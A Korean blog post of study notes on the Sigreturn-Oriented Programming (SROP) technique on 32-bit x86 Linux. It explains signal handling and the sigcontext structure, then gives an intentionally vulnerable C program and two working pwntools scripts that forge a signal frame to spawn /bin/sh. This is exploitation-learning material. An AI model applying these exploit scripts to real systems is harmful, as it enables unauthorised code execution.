혜랑's STORY

[Lazenca] SROP(Sigreturn-oriented programming) - x86 본문

2021 SISS 21기 활동/여름방학 System

[Lazenca] SROP(Sigreturn-oriented programming) - x86

hyerang0125 2021. 7. 10. 12:59
SROP는 sigreturn 시스템 콜을 이용하여 레지스터에 원하는 값을 저장할 수 있다.
해당 기법을 이용하여 원하는 시스템 함수를 호출할 수 있다.

Signal


  • signal은 프로세스에게 이벤트가 발생했음을 알린다. 또한 다른 프로세스에게 시그널을 전송 할 수 있다.
    • 원시적인 형태의 IPC(InterProcess Communication)로 사용 할 수도 있음
    • 자기 자신에게 시그널을 보내는 것도 가능
  • signal은 일반적으로 커널이 송신하며, 다음과 같은 이벤트 종류가 있다.
    • 하드웨어 예외가 발생한 경우
    • 사용자가 시그널을 발생시키는 터미널 특수 문자 중 하나를 입력한 경우
      • Interrupt character(Control + c)
      • Suspend character(Control + z)
    • 소프트웨어 이벤트가 발생한 경우
      • 파일 디스크립터에 입력이 발생
      • 타이머 만료
      • 해당 프로세스의 자식 프로세스가 종료
  • signal은 생성되면 프로세스에 전달되고, 전달된 시그널의 종류에 따라 다음과 같은 동작이 실행된다.
    • 시그널 무시
    • 프로세스 종료
    • 코어 덤프 파일을 생성 후 프로세스 종료
    • 프로세스 중지
    • 프로세스의 실행을 재개

 

Signal handler


  • signal handler는 프로그램이 특정 시그널의 기본 동작을 수행하는 대신  프로그래머가 원하는 동작을 수행하도록 변경할 수 있다.
  • User Mode 프로세스에 정의되어 있고 User Mode 코드 세그먼트에 포함된다.
  • User Mode가 실행되는 동안 Kernel Mode에서 handle_signal() 함수가 실행된다.
    • User Mode에서 Kernel Mode로 진입시 User Mode에서 사용중이던 context를 Kernel stack에 저장한다.
    • Kernel Mode에서 User Mode로 진입시 Kernel stack은 모두 초기화된다.
    • 이러한 문제를 해결하기 위해 setup_frame(), sigreturn() 함수를 사용한다.
      • setup_frame() : User Mode의 stack을 설정
      • sigreturn() : Kernel Mode stack에 hardware context를 복사하고, User Mode stack의 원래의 content를 저장한다.
  • Signal handler는 다음과 같이 처리된다.
    • 인터럽트 또는 예외가 발생하면 프로세스는 Kernel Mode로 전환된다.
    • 커널은 User Mode로 돌아가기 전에 do_signal() 함수를 실행된다.
      • do_signal() 함수는 handle_signal()을 호출하여 signal를 처리
      • handle_signal() 함수는 setup_frame()을 호출하여 User Mode stack에 context를 저장
    • 프로세스가 User Mode로 다시 전환되면 signal handler가 실행된다.
    • signal handler가 종료되면 setup_frame() 함수에 의해 User Mode stack에 저장된 리턴 코드가 실행된다.
      • 해당 코드에 의해 sigreturn() 시스템 함수가 호출된다.
        • sigreturn() 시스템 함수에 의해 Kernel Mode stack에서 일반 프로그램의 hardware context를 User Mode의 stack에 복사
        • sigreturn() 함수는 restore_sigcontext()을 호출하여 USer Mode 스택을 원해 상태로 복원
    • 시스템 호출이 종료되면 일반 프로그램은 실행을 재개 할 수 있다.

Save and restore sigcontent

 

Example code


//gcc -m32 -g -o sig32 sig.c
#include <stdio.h>
#include <signal.h>
 
struct sigcontext sigcontext;
 
void handle_signal(int signum){
    printf("Signal number: %d\n", signum);
}
 
int main(){
    signal(SIGINT, (void *)handle_signal);
    while(1) {}
    return 0;
}

 

Debugging


[Break Point]

handle_signal 함수에 Break Point를 설정하고, GDB가 인터럽트에 반응하지 않도록 설정한다.

프로그램을 실행 후 "Ctrl + C"를 눌러서 Interrupt 신호를 발생시킨다.

bt 명령어를 통해 handle_signal 함수가 호출되기 전에 실행된 함수 목록을 확인 할 수 있다.

위와 같이 0번째 frame에서 stack에 저장된 각 각의 레지스터 값을 확인할 수 있다.

위와 같이 1번째 frame의 내용을 보면 __kernel_sigreturn() 함수에서 sys_sigreturn() 시스템 함수를 호출한다.

  • x86에서 sys_sigreturn 시스템 함수의 번호는 0x77(119)이다.

다음과 같이 signal이 끝난 후에 frame 0의 stack에 저장된 값이 레지스터에 저장된 것을 확인할 수 있다.

 

sigreturn()


  • sigreturn() 시스템 함수는 signal을 처리하는 프로세스가 kernel mode에서 user mode로 돌아올 때 stack을 복원하기 위해 사용되는 함수이다.
    • stack 복원을 위해 restore_sigcontext()를 호출한다.
#ifdef CONFIG_X86_32
asmlinkage unsigned long sys_sigreturn(void){
    struct pt_regs *regs = current_pt_regs();
    struct sigframe __user *frame;
...
    if (restore_sigcontext(regs, &frame->sc, 0))
        goto badframe;
...
}
#endif /* CONFIG_X86_32 */
  • restore_sigcontext() 함수는 COPY_SEG(), COPY() 함수 등을 이용하여 stack에 저장된 값을 각 레지스터에 복사한다. 즉, ROP와 같이 값을 레지스터에 저장할 수 있는 Gadget이 없어도 sigreturn() 함수를 이용해 각 레지스터에 원하는 값을 저장할 수 있다.
static int restore_sigcontext(struct pt_regs *regs, struct sigcontext __user *sc, unsigned long uc_flags){
    unsigned long buf_val;
    void __user *buf;
    unsigned int tmpflags;
    unsigned int err = 0;
 
    /* Always make any pending restarted system calls return -EINTR */
    current->restart_block.fn = do_no_restart_syscall;
 
    get_user_try {
 
#ifdef CONFIG_X86_32
        set_user_gs(regs, GET_SEG(gs));
        COPY_SEG(fs);
        COPY_SEG(es);
        COPY_SEG(ds);
#endif /* CONFIG_X86_32 */
 
        COPY(di); COPY(si); COPY(bp); COPY(sp); COPY(bx);
        COPY(dx); COPY(cx); COPY(ip); COPY(ax);
...
}
  • stack에 저장된 레지스터 값들은 restore_sigcontxt() 함수의 인자값 &frame->sc에 의해 전달된다.
#define sigframe_ia32       sigframe
 
...
 
#if defined(CONFIG_X86_32) || defined(CONFIG_IA32_EMULATION)
struct sigframe_ia32 {
    u32 pretcode;
    int sig;
    struct sigcontext_32 sc;
 
    struct _fpstate_32 fpstate_unused;
#ifdef CONFIG_IA32_EMULATION
    unsigned int extramask[_COMPAT_NSIG_WORDS-1];
#else /* !CONFIG_IA32_EMULATION */
    unsigned long extramask[_NSIG_WORDS-1];
#endif /* CONFIG_IA32_EMULATION */
    char retcode[8];
    /* fp state follows here */
};
  • &frame->sc 는 sigcontxt 구조체이다. 즉, SROP를 이용할 때 stack에 다음과 같은 형태로 값을 저장해야 한다.
# ifdef __i386__
struct sigcontext {
    __u16               gs, __gsh;
    __u16               fs, __fsh;
    __u16               es, __esh;
    __u16               ds, __dsh;
    __u32               edi;
    __u32               esi;
    __u32               ebp;
    __u32               esp;
    __u32               ebx;
    __u32               edx;
    __u32               ecx;
    __u32               eax;
    __u32               trapno;
    __u32               err;
    __u32               eip;
    __u16               cs, __csh;
    __u32               eflags;
    __u32               esp_at_signal;
    __u16               ss, __ssh;
    struct _fpstate __user      *fpstate;
    __u32               oldmask;
    __u32               cr2;
};

 

Proof of Concept


//gcc -m32 -fno-stack-protector -o srop32 srop32.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
  
void vuln(){
    char buf[50];
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);
    read(0, buf, 256);
}
  
void main(){
    seteuid(getuid());
    write(1,"Hello SROP\n",10);
    vuln();
}

 

[Break Point]

  • vuln + 0 : vuln() 함수 코드 첫 부분
  • vuln + 60 : read() 함수 호출 전

즉, 66개 이상의 문자를 입력함으로써 return address 영역을 덮어쓸 수 있다.

 

Exploit method


Exploit 순서

1. sigreturn() 함수를 이용해 레지스터에 필요한 값을 저장
    a. ESP : sigreturn() 함수 호출 후 이동할 주소("int 0x80" 명령어가 저장된 주소)
    b. EBX : "/bin/sh" 문자열이 저장된 주소
    c. EAX : execve() 함수의 시스템 콜 번호
    d. EIP : "int 0x80" 명령어가 저장된 주소
    e. CS  : User Code(0x23)
    f.  SS  : User Data / Stack(0x2b)

코드 표현

sigreturn()
int 0x80

확인해야 할 정보

  • Libc offset
    • printf
    • __kernel_sigreturn
    • "/bin/sh" 명령어가 저장된 영역
  • Gadgets
    • int 0x80

 

Libc offset

  • libc offset : printf(0xf7e46680) - libc base(0xf7dfd000) = 0x49680

  • __kernel_sigreturn offset : __kernel_sigreturn(0xf7fd7ff0) - libc base(0xf7dfd000) = 0x1daff0

  • "/bin/sh" offset : "/bin/sh" address(0xf7f58b2b) - libc base(ox7fdfd000) = 0x15bb2b

offset of __kernel_sigreturn

  • 0xf7fd8de0 주소를 사용할 경우 "pop eax" 명령어가 포함되어 있기 때문에 0xf7fd8de0 호출 뒤에 임의의 값(4bit)이 저장되어야 합니다.
    • Ex) __kernel_sigreturn() + 임의의 값(4bit) + sigcontext 구조체
  • 0xf7fd8de1 주소를 사용할 경우 "mov eax,0x77" 명령어가 실행되기 때문에 0xf7fd8de1 호출 뒤에 sigcontext 구조체가 저장되어야 합니다.
    • Ex) __kernel_sigreturn() + sigcontext 구조체

Find gadget

  • 기본적으로 memory map에서 필요한 가젯을 찾을 수 있다.

  • 테스트 프로그램이 32bit이기 때문에 sigreturn() 함수를 vdso 영역에서 확인할 수 있다.

CS(Code Segment) & SS(Stack Segment)

  • SROP의 Exploit Code를 작성할 때 중요한 부분
    • sigcontxt 구조체 형태로 stack에 값을 저장할 때 최소함 CS, SS레지스터에 대한 값을 설정해야 한다.
  • Linux kernel에는 4개의 세그먼트만 존재한다.
    • 공격 코드들은 user mode에서 실행되기 때문에 User Code, User Data / Stack 값을 사용해야 한다.
    • 32bit 프로그램의 경우 실행되는 운영체제 환경에 따라 사용되는 세그먼트 값이 다르다.
      • 32bit : 0x73, 0x7b
      • 64bit : 0x23, 0x2b (이때 운영체제는 64bit 이지만 프로그램이 32bit인 경우를 말하는 것이다)
    • 이 외의 값을 저장하면 에러가 발생한다.

 

Exploit Code


syscall의 값은 ksigreturn 값에 6을 더한 값이다.
#srop.py
from pwn import *
   
binary = ELF('./srop32')
p = process(binary.path)
 
p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)
 
#You need to change the value to match the environment you are testing.
libcBase = stackAddr - 0x49680
ksigreturn = libcBase + 0x1daff0
syscall = libcBase + 0x1daff6
binsh = libcBase + 0x15bb2b
 
print 'The base address of Libc    : ' + hex(libcBase)
print 'Address of syscall gadget   : ' + hex(syscall)
print 'Address of string "/bin/sh" : ' + hex(binsh)
print 'Address of sigreturn()      : ' + hex(ksigreturn)
 
exploit = ''
exploit += "\x90" * 66
exploit += p32(ksigreturn)
exploit += p32(0x0)
  
exploit += p32(0x0)         #GS
exploit += p32(0x0)         #FS
exploit += p32(0x0)         #ES
exploit += p32(0x0)         #DS
exploit += p32(0x0)         #EDI
exploit += p32(0x0)         #ESI
exploit += p32(0x0)         #EBP
exploit += p32(syscall)     #ESP
exploit += p32(binsh)       #EBX
exploit += p32(0x0)         #EDX
exploit += p32(0x0)         #ECX
exploit += p32(0xb)         #EAX
exploit += p32(0x0)         #trapno
exploit += p32(0x0)         #err
  
exploit += p32(syscall)     #EIP
#Runed a 32bit program in the 64bit operation system.
exploit += p32(0x23)        #CS
exploit += p32(0x0)         #eflags
exploit += p32(0x0)         #esp_atsignal
exploit += p32(0x2b)        #SS
#Runed a 32bit program in the 32bit operation system.
#exploit += p32(0x73)        #CS
#exploit += p32(0x0)         #eflags
#exploit += p32(0x0)         #esp_atsignal
#exploit += p32(0x7b)        #SS
  
p.send(exploit)
p.interactive()
  • pwntools를 이용해 작성한 코드는 다음과 같다.
#srop-pwn.py
from pwn import *
  
binary = ELF('./srop32')
p = process(binary.path)
 
p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)
 
#You need to change the value to match the environment you are testing.
libcBase = stackAddr - 0x49680
ksigreturn = libcBase + 0x1daff0
syscall = libcBase + 0x1daff6
binsh = libcBase + 0x15bb2b
 
print 'The base address of Libc    : ' + hex(libcBase)
print 'Address of syscall gadget   : ' + hex(syscall)
print 'Address of string "/bin/sh" : ' + hex(binsh)
print 'Address of sigreturn()      : ' + hex(ksigreturn)
  
exploit = ''
exploit += "\x90" * 66
exploit += p32(ksigreturn)  #ret
exploit += p32(0x0)
 
#Runed a 32bit program in the 64bit operation system.
frame = SigreturnFrame(kernel='amd64')
#Runed a 32bit program in the 32bit operation system.
#frame = SigreturnFrame(kernel='i386')
frame.eax = 0xb
frame.ebx = binsh
frame.esp = syscall
frame.eip = syscall
  
exploit += str(frame)
 
p.send(exploit)
p.interactive()

 

결과